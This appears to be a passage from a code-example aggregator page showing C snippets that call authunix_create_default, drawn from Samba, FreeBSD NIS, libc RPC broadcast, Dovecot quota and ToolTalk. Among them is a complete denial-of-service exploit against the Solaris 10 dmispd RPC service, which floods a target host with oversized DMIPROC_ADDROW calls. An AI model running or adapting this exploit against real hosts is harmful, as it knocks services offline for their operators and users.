	DEBUG(10, ("sys_get_nfs_quotas: getquota_rslt:\n"
		   "status       : '%i'\n"
		   "bsize        : '%i'\n"
		   "active       : '%s'\n"
		   "bhardlimit   : '%u'\n"
		   "bsoftlimit   : '%u'\n"
		   "curblocks    : '%u'\n"
		   "fhardlimit   : '%u'\n"
		   "fsoftlimit   : '%u'\n"
		   "curfiles     : '%u'\n"
		   "btimeleft    : '%u'\n"
		   "ftimeleft    : '%u'\n",
		   gq_rslt.GQR_STATUS,
		   gq_rslt.GQR_RQUOTA.rq_bsize,
		   gq_rslt.GQR_RQUOTA.rq_active?"yes":"no",
		   gq_rslt.GQR_RQUOTA.rq_bhardlimit,
		   gq_rslt.GQR_RQUOTA.rq_bsoftlimit,
		   gq_rslt.GQR_RQUOTA.rq_curblocks,
		   gq_rslt.GQR_RQUOTA.rq_fhardlimit,
		   gq_rslt.GQR_RQUOTA.rq_fsoftlimit,
		   gq_rslt.GQR_RQUOTA.rq_curfiles,
		   gq_rslt.GQR_RQUOTA.rq_btimeleft,
		   gq_rslt.GQR_RQUOTA.rq_ftimeleft));

	/*
	 * gqr.status returns
	 *   1 if quotas exist,
	 *   2 if there is no quota set, and
	 *   3 if no permission to get the quota.
	 */

	switch (gq_rslt.GQR_STATUS) {
	case 1:
		DEBUG(10, ("sys_get_nfs_quotas: Good quota data\n"));
		dp->bsize = (uint64_t)gq_rslt.GQR_RQUOTA.rq_bsize;
		dp->softlimit = gq_rslt.GQR_RQUOTA.rq_bsoftlimit;
		dp->hardlimit = gq_rslt.GQR_RQUOTA.rq_bhardlimit;
		dp->curblocks = gq_rslt.GQR_RQUOTA.rq_curblocks;
		break;

	case 2:
		DEBUG(5, ("sys_get_nfs_quotas: No quota set\n"));
		SMB_QUOTAS_SET_NO_LIMIT(dp);
		break;

	case 3:
		DEBUG(3, ("sys_get_nfs_quotas: no permission to get quota\n"));
		errno = EPERM;
		ret = -1;
		goto out;

	default:
		DEBUG(5, ("sys_get_nfs_quotas: Unknown remote quota status "
			  "code '%i'\n", gq_rslt.GQR_STATUS));
		ret = -1;
		goto out;
		break;
	}

	dp->qflags = qflags;

	ret = 0;

out:
	if (clnt) {
		if (clnt->cl_auth) {
			auth_destroy(clnt->cl_auth);
		}
		clnt_destroy(clnt);
	}

	SAFE_FREE(cutstr);

	DEBUG(10, ("sys_get_nfs_quotas: finished\n" ));
	return ret;
}
Example #19
0
static int
yppasswd_remote(ypclnt_t *ypclnt, const struct passwd *pwd, const char *passwd)
{
	struct yppasswd yppwd;
	struct rpc_err rpcerr;
	CLIENT *clnt = NULL;
	int ret, *result;

	/* fill the yppasswd structure */
	memset(&yppwd, 0, sizeof yppwd);
	yppwd.newpw.pw_uid = pwd->pw_uid;
	yppwd.newpw.pw_gid = pwd->pw_gid;
	if ((yppwd.newpw.pw_name = strdup(pwd->pw_name)) == NULL ||
	    (yppwd.newpw.pw_passwd = strdup(pwd->pw_passwd)) == NULL ||
	    (yppwd.newpw.pw_gecos = strdup(pwd->pw_gecos)) == NULL ||
	    (yppwd.newpw.pw_dir = strdup(pwd->pw_dir)) == NULL ||
	    (yppwd.newpw.pw_shell = strdup(pwd->pw_shell)) == NULL ||
	    (yppwd.oldpass = strdup(passwd ? passwd : "")) == NULL) {
		ypclnt_error(ypclnt, __func__, strerror(errno));
		ret = -1;
		goto done;
	}

	/* connect to rpc.yppasswdd */
	clnt = clnt_create(ypclnt->server, YPPASSWDPROG, YPPASSWDVERS, "udp");
	if (clnt == NULL) {
		ypclnt_error(ypclnt, __func__,
		    "failed to connect to rpc.yppasswdd: %s",
		    clnt_spcreateerror(ypclnt->server));
		ret = -1;
		goto done;
	}
	clnt->cl_auth = authunix_create_default();

	/* request the update */
	result = yppasswdproc_update_1(&yppwd, clnt);

	/* check for RPC errors */
	clnt_geterr(clnt, &rpcerr);
	if (rpcerr.re_status != RPC_SUCCESS) {
		ypclnt_error(ypclnt, __func__,
		    "NIS password update failed: %s",
		    clnt_sperror(clnt, ypclnt->server));
		ret = -1;
		goto done;
	}

	/* check the result of the update */
	if (result == NULL || *result != 0) {
		ypclnt_error(ypclnt, __func__,
		    "NIS password update failed");
		/* XXX how do we get more details? */
		ret = -1;
		goto done;
	}

	ypclnt_error(ypclnt, NULL, NULL);
	ret = 0;

 done:
	if (clnt != NULL) {
		auth_destroy(clnt->cl_auth);
		clnt_destroy(clnt);
	}
	free(yppwd.newpw.pw_name);
	if (yppwd.newpw.pw_passwd != NULL) {
		memset(yppwd.newpw.pw_passwd, 0, strlen(yppwd.newpw.pw_passwd));
		free(yppwd.newpw.pw_passwd);
	}
	free(yppwd.newpw.pw_gecos);
	free(yppwd.newpw.pw_dir);
	free(yppwd.newpw.pw_shell);
	if (yppwd.oldpass != NULL) {
		memset(yppwd.oldpass, 0, strlen(yppwd.oldpass));
		free(yppwd.oldpass);
	}
	return (ret);
}
Example #20
0
/*
 * rpc_broadcast_exp()
 *
 * prog      - program number
 * vers      - version number
 * proc      - procedure number
 * xargs     - xdr routine for args
 * argsp     - pointer to args
 * xresults  - xdr routine for results
 * resultsp  - pointer to results
 * eachresult - call with each result obtained
 * inittime  - how long to wait initially
 * waittime  - maximum time to wait
 * nettype   - transport type
 */
enum clnt_stat
rpc_broadcast_exp(rpcprog_t prog, rpcvers_t vers, rpcproc_t proc,
    xdrproc_t xargs, caddr_t argsp, xdrproc_t xresults, caddr_t resultsp,
    resultproc_t eachresult, int inittime, int waittime,
    const char *nettype)
{
	enum clnt_stat	stat = RPC_SUCCESS; /* Return status */
	XDR 		xdr_stream; /* XDR stream */
	XDR 		*xdrs = &xdr_stream;
	struct rpc_msg	msg;	/* RPC message */
	struct timeval	t;
	char 		*outbuf = NULL;	/* Broadcast msg buffer */
	char		*inbuf = NULL; /* Reply buf */
	int		inlen;
	u_int 		maxbufsize = 0;
	AUTH 		*sys_auth = authunix_create_default();
	u_int		i;
	void		*handle;
	char		uaddress[1024];	/* A self imposed limit */
	char		*uaddrp = uaddress;
	int 		pmap_reply_flag; /* reply recvd from PORTMAP */
	/* An array of all the suitable broadcast transports */
	struct {
		int fd;		/* File descriptor */
		int af;
		int proto;
		struct netconfig *nconf; /* Netconfig structure */
		u_int asize;	/* Size of the addr buf */
		u_int dsize;	/* Size of the data buf */
		struct sockaddr_storage raddr; /* Remote address */
		broadlist_t nal;
	} fdlist[MAXBCAST];
	struct pollfd pfd[MAXBCAST];
	size_t fdlistno = 0;
	struct r_rpcb_rmtcallargs barg;	/* Remote arguments */
	struct r_rpcb_rmtcallres bres; /* Remote results */
	size_t outlen;
	struct netconfig *nconf;
	int msec;
	int pollretval;
	int fds_found;

#ifdef PORTMAP
	size_t outlen_pmap = 0;
	u_long port;		/* Remote port number */
	int pmap_flag = 0;	/* UDP exists ? */
	char *outbuf_pmap = NULL;
	struct rmtcallargs barg_pmap;	/* Remote arguments */
	struct rmtcallres bres_pmap; /* Remote results */
	u_int udpbufsz = 0;
#endif				/* PORTMAP */

	if (sys_auth == NULL) {
		return (RPC_SYSTEMERROR);
	}
	/*
	 * initialization: create a fd, a broadcast address, and send the
	 * request on the broadcast transport.
	 * Listen on all of them and on replies, call the user supplied
	 * function.
	 */

	if (nettype == NULL)
		nettype = "datagram_n";
	if ((handle = __rpc_setconf(nettype)) == NULL) {
		AUTH_DESTROY(sys_auth);
		return (RPC_UNKNOWNPROTO);
	}
	while ((nconf = __rpc_getconf(handle)) != NULL) {
		int fd;
		struct __rpc_sockinfo si;

		if (nconf->nc_semantics != NC_TPI_CLTS)
			continue;
		if (fdlistno >= MAXBCAST)
			break;	/* No more slots available */
		if (!__rpc_nconf2sockinfo(nconf, &si))
			continue;

		TAILQ_INIT(&fdlist[fdlistno].nal);
		if (__rpc_getbroadifs(si.si_af, si.si_proto, si.si_socktype, 
		    &fdlist[fdlistno].nal) == 0)
			continue;

		fd = _socket(si.si_af, si.si_socktype, si.si_proto);
		if (fd < 0) {
			stat = RPC_CANTSEND;
			continue;
		}
		fdlist[fdlistno].af = si.si_af;
		fdlist[fdlistno].proto = si.si_proto;
		fdlist[fdlistno].fd = fd;
		fdlist[fdlistno].nconf = nconf;
		fdlist[fdlistno].asize = __rpc_get_a_size(si.si_af);
		pfd[fdlistno].events = POLLIN | POLLPRI |
			POLLRDNORM | POLLRDBAND;
		pfd[fdlistno].fd = fdlist[fdlistno].fd = fd;
		fdlist[fdlistno].dsize = __rpc_get_t_size(si.si_af, si.si_proto,
							  0);

		if (maxbufsize <= fdlist[fdlistno].dsize)
			maxbufsize = fdlist[fdlistno].dsize;

#ifdef PORTMAP
		if (si.si_af == AF_INET && si.si_proto == IPPROTO_UDP) {
			udpbufsz = fdlist[fdlistno].dsize;
			if ((outbuf_pmap = malloc(udpbufsz)) == NULL) {
				_close(fd);
				stat = RPC_SYSTEMERROR;
				goto done_broad;
			}
			pmap_flag = 1;
		}
#endif				/* PORTMAP */
		fdlistno++;
	}

	if (fdlistno == 0) {
		if (stat == RPC_SUCCESS)
			stat = RPC_UNKNOWNPROTO;
		goto done_broad;
	}
	if (maxbufsize == 0) {
		if (stat == RPC_SUCCESS)
			stat = RPC_CANTSEND;
		goto done_broad;
	}
	inbuf = malloc(maxbufsize);
	outbuf = malloc(maxbufsize);
	if ((inbuf == NULL) || (outbuf == NULL)) {
		stat = RPC_SYSTEMERROR;
		goto done_broad;
	}

	/* Serialize all the arguments which have to be sent */
	(void) gettimeofday(&t, NULL);
	msg.rm_xid = __RPC_GETXID(&t);
	msg.rm_direction = CALL;
	msg.rm_call.cb_rpcvers = RPC_MSG_VERSION;
	msg.rm_call.cb_prog = RPCBPROG;
	msg.rm_call.cb_vers = RPCBVERS;
	msg.rm_call.cb_proc = RPCBPROC_CALLIT;
	barg.prog = prog;
	barg.vers = vers;
	barg.proc = proc;
	barg.args.args_val = argsp;
	barg.xdr_args = xargs;
	bres.addr = uaddrp;
	bres.results.results_val = resultsp;
	bres.xdr_res = xresults;
	msg.rm_call.cb_cred = sys_auth->ah_cred;
	msg.rm_call.cb_verf = sys_auth->ah_verf;
	xdrmem_create(xdrs, outbuf, maxbufsize, XDR_ENCODE);
	if ((!xdr_callmsg(xdrs, &msg)) ||
	    (!xdr_rpcb_rmtcallargs(xdrs,
	    (struct rpcb_rmtcallargs *)(void *)&barg))) {
		stat = RPC_CANTENCODEARGS;
		goto done_broad;
	}
	outlen = xdr_getpos(xdrs);
	xdr_destroy(xdrs);

#ifdef PORTMAP
	/* Prepare the packet for version 2 PORTMAP */
	if (pmap_flag) {
		msg.rm_xid++;	/* One way to distinguish */
		msg.rm_call.cb_prog = PMAPPROG;
		msg.rm_call.cb_vers = PMAPVERS;
		msg.rm_call.cb_proc = PMAPPROC_CALLIT;
		barg_pmap.prog = prog;
		barg_pmap.vers = vers;
		barg_pmap.proc = proc;
		barg_pmap.args_ptr = argsp;
		barg_pmap.xdr_args = xargs;
		bres_pmap.port_ptr = &port;
		bres_pmap.xdr_results = xresults;
		bres_pmap.results_ptr = resultsp;
		xdrmem_create(xdrs, outbuf_pmap, udpbufsz, XDR_ENCODE);
		if ((! xdr_callmsg(xdrs, &msg)) ||
		    (! xdr_rmtcall_args(xdrs, &barg_pmap))) {
			stat = RPC_CANTENCODEARGS;
			goto done_broad;
		}
		outlen_pmap = xdr_getpos(xdrs);
		xdr_destroy(xdrs);
	}
#endif				/* PORTMAP */

	/*
	 * Basic loop: broadcast the packets to transports which
	 * support data packets of size such that one can encode
	 * all the arguments.
	 * Wait a while for response(s).
	 * The response timeout grows larger per iteration.
	 */
	for (msec = inittime; msec <= waittime; msec += msec) {
		struct broadif *bip;

		/* Broadcast all the packets now */
		for (i = 0; i < fdlistno; i++) {
			if (fdlist[i].dsize < outlen) {
				stat = RPC_CANTSEND;
				continue;
			}
			for (bip = TAILQ_FIRST(&fdlist[i].nal); bip != NULL;
			     bip = TAILQ_NEXT(bip, link)) {
				void *addr;

				addr = &bip->broadaddr;

				__rpc_broadenable(fdlist[i].af, fdlist[i].fd,
				    bip);

				/*
				 * Only use version 3 if lowvers is not set
				 */

				if (!__rpc_lowvers)
					if (_sendto(fdlist[i].fd, outbuf,
					    outlen, 0, (struct sockaddr*)addr,
					    (size_t)fdlist[i].asize) !=
					    outlen) {
#ifdef RPC_DEBUG
						perror("sendto");
#endif
						warnx("clnt_bcast: cannot send "
						      "broadcast packet");
						stat = RPC_CANTSEND;
						continue;
					}
#ifdef RPC_DEBUG
				if (!__rpc_lowvers)
					fprintf(stderr, "Broadcast packet sent "
						"for %s\n",
						 fdlist[i].nconf->nc_netid);
#endif
#ifdef PORTMAP
				/*
				 * Send the version 2 packet also
				 * for UDP/IP
				 */
				if (pmap_flag &&
				    fdlist[i].proto == IPPROTO_UDP) {
					if (_sendto(fdlist[i].fd, outbuf_pmap,
					    outlen_pmap, 0, addr,
					    (size_t)fdlist[i].asize) !=
						outlen_pmap) {
						warnx("clnt_bcast: "
						    "Cannot send broadcast packet");
						stat = RPC_CANTSEND;
						continue;
					}
				}
#ifdef RPC_DEBUG
				fprintf(stderr, "PMAP Broadcast packet "
					"sent for %s\n",
					fdlist[i].nconf->nc_netid);
#endif
#endif				/* PORTMAP */
			}
			/* End for sending all packets on this transport */
		}	/* End for sending on all transports */

		if (eachresult == NULL) {
			stat = RPC_SUCCESS;
			goto done_broad;
		}

		/*
		 * Get all the replies from these broadcast requests
		 */
	recv_again:

		switch (pollretval = _poll(pfd, fdlistno, msec)) {
		case 0:		/* timed out */
			stat = RPC_TIMEDOUT;
			continue;
		case -1:	/* some kind of error - we ignore it */
			goto recv_again;
		}		/* end of poll results switch */

		for (i = fds_found = 0;
		     i < fdlistno && fds_found < pollretval; i++) {
			bool_t done = FALSE;

			if (pfd[i].revents == 0)
				continue;
			else if (pfd[i].revents & POLLNVAL) {
				/*
				 * Something bad has happened to this descri-
				 * ptor. We can cause _poll() to ignore
				 * it simply by using a negative fd.  We do that
				 * rather than compacting the pfd[] and fdlist[]
				 * arrays.
				 */
				pfd[i].fd = -1;
				fds_found++;
				continue;
			} else
				fds_found++;
#ifdef RPC_DEBUG
			fprintf(stderr, "response for %s\n",
				fdlist[i].nconf->nc_netid);
#endif
		try_again:
			inlen = _recvfrom(fdlist[i].fd, inbuf, fdlist[i].dsize,
			    0, (struct sockaddr *)(void *)&fdlist[i].raddr,
			    &fdlist[i].asize);
			if (inlen < 0) {
				if (errno == EINTR)
					goto try_again;
				warnx("clnt_bcast: Cannot receive reply to "
					"broadcast");
				stat = RPC_CANTRECV;
				continue;
			}
			if (inlen < sizeof (u_int32_t))
				continue; /* Drop that and go ahead */
			/*
			 * see if reply transaction id matches sent id.
			 * If so, decode the results. If return id is xid + 1
			 * it was a PORTMAP reply
			 */
			if (*((u_int32_t *)(void *)(inbuf)) ==
			    *((u_int32_t *)(void *)(outbuf))) {
				pmap_reply_flag = 0;
				msg.acpted_rply.ar_verf = _null_auth;
				msg.acpted_rply.ar_results.where =
					(caddr_t)(void *)&bres;
				msg.acpted_rply.ar_results.proc =
					(xdrproc_t)xdr_rpcb_rmtcallres;
#ifdef PORTMAP
			} else if (pmap_flag &&
				*((u_int32_t *)(void *)(inbuf)) ==
				*((u_int32_t *)(void *)(outbuf_pmap))) {
				pmap_reply_flag = 1;
				msg.acpted_rply.ar_verf = _null_auth;
				msg.acpted_rply.ar_results.where =
					(caddr_t)(void *)&bres_pmap;
				msg.acpted_rply.ar_results.proc =
					(xdrproc_t)xdr_rmtcallres;
#endif				/* PORTMAP */
			} else
				continue;
			xdrmem_create(xdrs, inbuf, (u_int)inlen, XDR_DECODE);
			if (xdr_replymsg(xdrs, &msg)) {
				if ((msg.rm_reply.rp_stat == MSG_ACCEPTED) &&
				    (msg.acpted_rply.ar_stat == SUCCESS)) {
					struct netbuf taddr, *np;
					struct sockaddr_in *sin;

#ifdef PORTMAP
					if (pmap_flag && pmap_reply_flag) {
						sin = (struct sockaddr_in *)
						    (void *)&fdlist[i].raddr;
						sin->sin_port =
						    htons((u_short)port);
						taddr.len = taddr.maxlen = 
						    fdlist[i].raddr.ss_len;
						taddr.buf = &fdlist[i].raddr;
						done = (*eachresult)(resultsp,
						    &taddr, fdlist[i].nconf);
					} else {
#endif				/* PORTMAP */
#ifdef RPC_DEBUG
						fprintf(stderr, "uaddr %s\n",
						    uaddrp);
#endif
						np = uaddr2taddr(
						    fdlist[i].nconf, uaddrp);
						done = (*eachresult)(resultsp,
						    np, fdlist[i].nconf);
						free(np);
#ifdef PORTMAP
					}
#endif				/* PORTMAP */
				}
				/* otherwise, we just ignore the errors ... */
			}
			/* else some kind of deserialization problem ... */

			xdrs->x_op = XDR_FREE;
			msg.acpted_rply.ar_results.proc = (xdrproc_t) xdr_void;
			(void) xdr_replymsg(xdrs, &msg);
			(void) (*xresults)(xdrs, resultsp);
			XDR_DESTROY(xdrs);
			if (done) {
				stat = RPC_SUCCESS;
				goto done_broad;
			} else {
				goto recv_again;
			}
		}		/* The recv for loop */
	}			/* The giant for loop */

done_broad:
	free(inbuf);
	free(outbuf);
#ifdef PORTMAP
	free(outbuf_pmap);
#endif				/* PORTMAP */
	for (i = 0; i < fdlistno; i++) {
		(void)_close(fdlist[i].fd);
		__rpc_freebroadifs(&fdlist[i].nal);
	}
	AUTH_DESTROY(sys_auth);
	(void) __rpc_endconf(handle);

	return (stat);
}
int main(int argc, char *argv[])
{

char b[SIZE], *buf, *target = argv[1];
int i, usock = RPC_ANYSOCK;

struct hostent *hp;
struct sockaddr_in us;

struct timeval tm={10, 0};

CLIENT *cli;
enum clnt_stat clnt_stat;

if(argc < 2)
{

     printf("\nSun Solaris 10 RPC dmispd Remote Resource Consumption Exploit\n");
     printf("Usage: %s <target>\n\n", argv[0]);

     return 0;

}

     printf("\nSun Solaris 10 RPC dmispd Remote Resource Consumption Exploit\n");

if((hp = gethostbyname(target)) == NULL)
{

     perror("gethostbyname");
     exit(-1);

}

     memcpy(&us.sin_addr.s_addr, hp->h_addr, 4);

us.sin_family = AF_INET;
us.sin_port   = 0;

if((cli = clntudp_create(&us, PROG_NUM, PROG_VER, tm, &usock)) == (CLIENT *)NULL)
{

     clnt_pcreateerror("clntudp_create");
     exit(-1);

}

cli->cl_auth = authunix_create_default();

     memset(b, 'A', sizeof(b));

buf = b;

     printf("\nConsuming Resources @ %s [P:%d V:%d F:%d]...\n\n", target, PROG_NUM, PROG_VER, DMIPROC_ADDROW);

for(i = 0; i < LOOP; i++)
{

     printf("--> #%d\n", i+1);

clnt_stat = clnt_call(cli, DMIPROC_ADDROW, (xdrproc_t)xdr_wrapstring, (char *)&buf, (xdrproc_t)xdr_wrapstring, (char *)&buf, tm);

if(clnt_stat != RPC_SUCCESS) clnt_perror(cli, "rpc");

}

     printf("\nFinished. Now your sun server may recover :)\n\n"); // restart dmi services to try again

     auth_destroy(cli->cl_auth);
     clnt_destroy(cli);

}
Example #22
0
static int do_rquota_user(struct fs_quota_root *root, bool bytes,
			  uint64_t *value_r, uint64_t *limit_r)
{
	struct getquota_rslt result;
	struct getquota_args args;
	struct timeval timeout;
	enum clnt_stat call_status;
	CLIENT *cl;
	struct fs_quota_mountpoint *mount = root->mount;
	const char *host;
	char *path;

	path = strchr(mount->device_path, ':');
	i_assert(path != NULL);

	host = t_strdup_until(mount->device_path, path);
	path++;

	/* For NFSv4, we send the filesystem path without initial /. Server
	   prepends proper NFS pseudoroot automatically and uses this for
	   detection of NFSv4 mounts. */
	if (strcmp(root->mount->type, "nfs4") == 0) {
		while (*path == '/')
			path++;
	}

	if (root->root.quota->set->debug) {
		i_debug("quota-fs: host=%s, path=%s, uid=%s, %s",
			host, path, dec2str(root->uid),
			bytes ? "bytes" : "files");
	}

	/* clnt_create() polls for a while to establish a connection */
	cl = clnt_create(host, RQUOTAPROG, RQUOTAVERS, "udp");
	if (cl == NULL) {
		i_error("quota-fs: could not contact RPC service on %s",
			host);
		return -1;
	}

	/* Establish some RPC credentials */
	auth_destroy(cl->cl_auth);
	cl->cl_auth = authunix_create_default();

	/* make the rquota call on the remote host */
	args.gqa_pathp = path;
	args.gqa_uid = root->uid;

	timeout.tv_sec = RQUOTA_GETQUOTA_TIMEOUT_SECS;
	timeout.tv_usec = 0;
	call_status = clnt_call(cl, RQUOTAPROC_GETQUOTA,
				(xdrproc_t)xdr_getquota_args, (char *)&args,
				(xdrproc_t)xdr_getquota_rslt, (char *)&result,
				timeout);
	
	/* the result has been deserialized, let the client go */
	auth_destroy(cl->cl_auth);
	clnt_destroy(cl);

	if (call_status != RPC_SUCCESS) {
		const char *rpc_error_msg = clnt_sperrno(call_status);

		i_error("quota-fs: remote rquota call failed: %s",
			rpc_error_msg);
		return -1;
	}

	switch (result.status) {
	case Q_OK: {
		rquota_get_result(&result.getquota_rslt_u.gqr_rquota, bytes,
				  value_r, limit_r);
		if (root->root.quota->set->debug) {
			i_debug("quota-fs: uid=%s, value=%llu, limit=%llu",
				dec2str(root->uid),
				(unsigned long long)*value_r,
				(unsigned long long)*limit_r);
		}
		return 1;
	}
	case Q_NOQUOTA:
		if (root->root.quota->set->debug) {
			i_debug("quota-fs: uid=%s, limit=unlimited",
				dec2str(root->uid));
		}
		return 1;
	case Q_EPERM:
		i_error("quota-fs: permission denied to rquota service");
		return -1;
	default:
		i_error("quota-fs: unrecognized status code (%d) "
			"from rquota service", result.status);
		return -1;
	}
}
Example #23
0
_Tt_db_results _Tt_db_client::connectToDB (const _Tt_string &hostname)
{
	_tt_auth_level_results *auth_level_results = (_tt_auth_level_results *)NULL;
	int _socket;
	_socket = -1;


	dbHostname = hostname;

	// Connect to the dbserver on the specified host.
	// If we don't have TI_RPC we cannot depend on CLGET_FD, so
	// we have to use clnttcp_create so that we get the socket FD back
	// in order to set close_on_exec.
	
#if defined(OPT_TLI)

#ifdef OPT_HAS_CLNT_CREATE_TIMED
	
	struct timeval		tv = { OPT_CLNT_CREATE_TIMEOUT, 0};

	dbServer = clnt_create_timed((char *)dbHostname,
				     TT_DBSERVER_PROG,
				     TT_DBSERVER_VERS,
				     (char *)TT_DB_RPC_PROTO,
				     &tv);
#else
	dbServer = clnt_create((char *)dbHostname,
				TT_DBSERVER_PROG,
				TT_DBSERVER_VERS,
				(char *)TT_DB_RPC_PROTO);
#endif

	if (dbServer) {
		clnt_control(dbServer, CLGET_FD, (char *)&_socket);
	}
#else
	struct sockaddr_in server_addr;
	struct hostent	       *host_ret;
	_Xgethostbynameparams	host_buf;

	memset((char*) &host_buf, 0, sizeof(_Xgethostbynameparams));
	if ((host_ret = _XGethostbyname((char *)dbHostname, host_buf)) != NULL) {
		_socket = RPC_ANYSOCK;
		memset(&server_addr, 0, sizeof(server_addr));
		server_addr.sin_family = AF_INET;
		server_addr.sin_port = htons(0);
		memcpy(&server_addr.sin_addr.s_addr,
		       *(host_ret->h_addr_list),
		       sizeof(server_addr.sin_addr.s_addr));

		dbServer = clnttcp_create(&server_addr,
					  TT_DBSERVER_PROG,
					  TT_DBSERVER_VERS,
					  &_socket,
					  0, 0);

	} else {
		// gethostbyname failed, fake RPC error
		dbServer = 0;
		rpc_createerr.cf_stat = RPC_UNKNOWNHOST;
	}
#endif	

	// Connection failed.
	if (!dbServer) {

		_tt_syslog(0, LOG_ERR, catgets(_ttcatd, 1, 3,
			 "clnt_create for rpc.ttdbserverd on %s failed%s"),
			 (char *)dbHostname, clnt_spcreateerror(""));

		// Set dbConnectionResults data member...
		SetError(rpc_createerr.cf_stat);

		return dbConnectionResults;
	}

	// Connection succeeded.
	clnt_control(dbServer, CLSET_TIMEOUT, (char *)&TT_DB_RPC_QUICK_TIMEOUT);

	dbConnectionResults = TT_DB_ERR_DB_CONNECTION_FAILED;	// Default value.


	for (;dbVersion > 0; dbVersion--) {

		if (dbVersion > 1) {
			auth_level_results =
				_tt_get_min_auth_level_1 ((void *)NULL, dbServer);
		} else {
			// If dbVersion == 1, then we are talking to an old DB server
			static _tt_auth_level_results results;

			char      *path = "";
			clnt_stat  rpc_status;
			int       *result = (int *)NULL;
			result = _tt_min_auth_level_1(&path, dbServer, &rpc_status);

			if (result) {
				results.results = TT_DB_OK;
				results.auth_level = *result;
				auth_level_results = &results;
			}
		}

		if ((auth_level_results) && (auth_level_results->results == TT_DB_OK)) {

			clnt_control(dbServer, CLSET_TIMEOUT,
				     (char *)&TT_DB_RPC_NORMAL_TIMEOUT);

			dbAuthLevel = auth_level_results->auth_level;
		 
			dbConnectionResults = TT_DB_OK;	// Default return value.

			switch (dbAuthLevel) {
				case AUTH_NONE:
				case AUTH_UNIX:
					dbServer->cl_auth = authunix_create_default();
				break;

#ifdef OPT_SECURE_RPC
				case AUTH_DES: {
					char    server_net_name [MAXNETNAMELEN+1];
					struct hostent	       *host_ret;
					_Xgethostbynameparams	host_buf;
					if (host2netname(server_net_name, dbHostname, 0) &&
					    ((host_ret = _XGethostbyname((char *)dbHostname, host_buf)) != NULL)) {
#ifdef OPT_TLI
						dbServerNetName = server_net_name;
#else
						memcpy((caddr_t) &dbSocket.sin_addr,
						       host_ret->h_addr, 
						       host_ret->h_length);
						dbSocket.sin_family = AF_INET;
						dbSocket.sin_port = 0;
#endif
					} else {
						dbConnectionResults =
							TT_DB_ERR_DB_CONNECTION_FAILED;
					}
				}
				break;
#endif // OPT_SECURE_RPC
				default:
					dbConnectionResults =
						 TT_DB_ERR_DB_CONNECTION_FAILED;
				break;
			}
			break;
		} else {
			// If _tt_get_min_auth_level_1 is not available, then we are talking
			// to an old DB server.
                        if (_tt_get_rpc_result() != RPC_AUTHERROR) {

				_tt_syslog(0, LOG_ERR,
					catgets(_ttcatd, 1, 4, "Error: rpc.ttdbserverd on %s is not running"),
					(char *)dbHostname);

				SetError(_tt_get_rpc_result());

				break;	// Give up and return error code.
			}
		}
	}	// end -for()-

	//
	// Cleanup if failure.
	//
	if (dbConnectionResults != TT_DB_OK) {
		if (dbServer) {
			clnt_destroy(dbServer);
			dbServer = (CLIENT *)NULL;
		}
	}

	// Set close-on-exec bit so a libtt client which forks and execs won't
	// be short some fd's in the child.
	if (-1 != _socket && -1 == fcntl(_socket, F_SETFD, 1)) {
		_tt_syslog( 0, LOG_ERR, "_Tt_db_client::connectToDb(): "
			    "fcntl(F_SETFD): %m");
	}		

	return dbConnectionResults;
}
main( int argc, char * argv[] ) 
{
  struct timeval   intervalle = { TIMEOUT_SEC, 0 };
  CLIENT *         client ;
  int              c ;  
  struct rpcent *  etc_rpc ;               /* pour consulter /etc/rpc ou rpc.bynumber */
  unsigned int     adresse_serveur ;  /* Au format NET */
  struct hostent * hp ;
  char             nom_exec[MAXPATHLEN] ;
  char             machine_locale[256] ;
  char *           tempo_nom_exec  = NULL ;
  unsigned int     rpc_service_num = DEFAULT_RPC_SERVICE ;
  unsigned int     rpc_version = V4 ;
  unsigned int     rpcproc = PROC_PLUS1 ;
  unsigned short   port =  ntohs( 2049 ) ;
  int              val = 2 ;
  int              rc ;
  char             gss_service[1024] ;
  char             host[100] ;

  struct COMPOUND4args compound4_args ;
  struct COMPOUND4res  compound4_res ;
 
   /* On recupere le nom de l'executable */
  if( ( tempo_nom_exec = strrchr( argv[0], '/' ) ) != NULL )
    strcpy( (char *)nom_exec, tempo_nom_exec + 1 ) ;
  
  strcpy( ifname, "eth0" ) ;

  while( ( c = getopt( argc, argv, options ) ) != EOF )
    {
      switch( c )
        {
        case 'd':
          /* Cette option permet de recuperer un nom pour la machine distante */
          if( isalpha( *optarg ) )
            {
               strcpy( host, optarg ) ;
            }
          else
            {
              adresse_serveur = inet_addr( optarg ) ;
            }
          break;

        case 's':
          /* Un nom ou un numero de service a ete indique */
          if( isalpha( (int)*optarg ) )
            {
              /* Ca commence pas par un chiffre donc c'est un nom service */
              if( ( etc_rpc = getrpcbyname( optarg ) ) == NULL )
                {
                  fprintf( stderr, "Impossible de resoudre le service %s\n", optarg ) ;
                }
              else
                {
                  rpc_service_num = etc_rpc->r_number ;
                }
            }
          else
            {
              /* C'est un numero de service qui est indique */
              rpc_service_num = atoi( optarg ) ;
            }
          break ;

        case 'v':
           /* numero de version */
           rpc_version = atoi( optarg ) ;
           break ;

        case 'p':
           rpcproc = atoi( optarg ) ;
           break ;

        case 'I':
	   strcpy( ifname, optarg ) ;
           break ; 

        case 'h':
        case '?':
        default:
          /* Affichage de l'aide en ligne */
          fprintf( stderr, utilisation, nom_exec ) ;
          exit( 0 ) ;
          break ;
        }
    }
  
  if( ( client = Creer_RPCClient( host, rpc_service_num, rpc_version, port , RPC_ANYSOCK ) ) == NULL )
    {
      char erreur[100] ;
      strcpy( erreur, clnt_spcreateerror( "Creation RPC" ) ) ;
      fprintf( stderr, "Creation RPC: %s\n", erreur ) ;
      exit( 1 ) ;
    }

  client->cl_auth = authunix_create_default();

  compound4_args.tag.utf8string_len = 0 ; /* No Tag */
  compound4_args.minorversion = 0 ;
  compound4_args.argarray.argarray_len = 1 ;
  compound4_args.argarray.argarray_val = (struct nfs_argop4 * )malloc( sizeof( struct nfs_argop4 ) ) ;
  compound4_args.argarray.argarray_val[0].argop = NFS4_OP_PUTROOTFH ; /* This operation requires no argument */

  fprintf( stderr, "requete v4\n" ) ;
  if( ( rc = clnt_call(  client, 1,
                        (xdrproc_t)xdr_COMPOUND4args, (caddr_t)&compound4_args,
                        (xdrproc_t)xdr_COMPOUND4res, (caddr_t)&compound4_res,
                        intervalle ) ) != RPC_SUCCESS )
    {
      clnt_perror( client, "appel a  NFSPROC4_COMPOUND\n" ) ;
      exit ( 1 ) ;
    }
  fprintf( stderr, "Requete v4 OK\n"  ) ;

  auth_destroy( client->cl_auth ) ;  
  clnt_destroy( client ) ;
}
Example #25
0
static long int
__nis_findfastest_with_timeout (dir_binding *bind,
				const struct timeval *timeout)
{
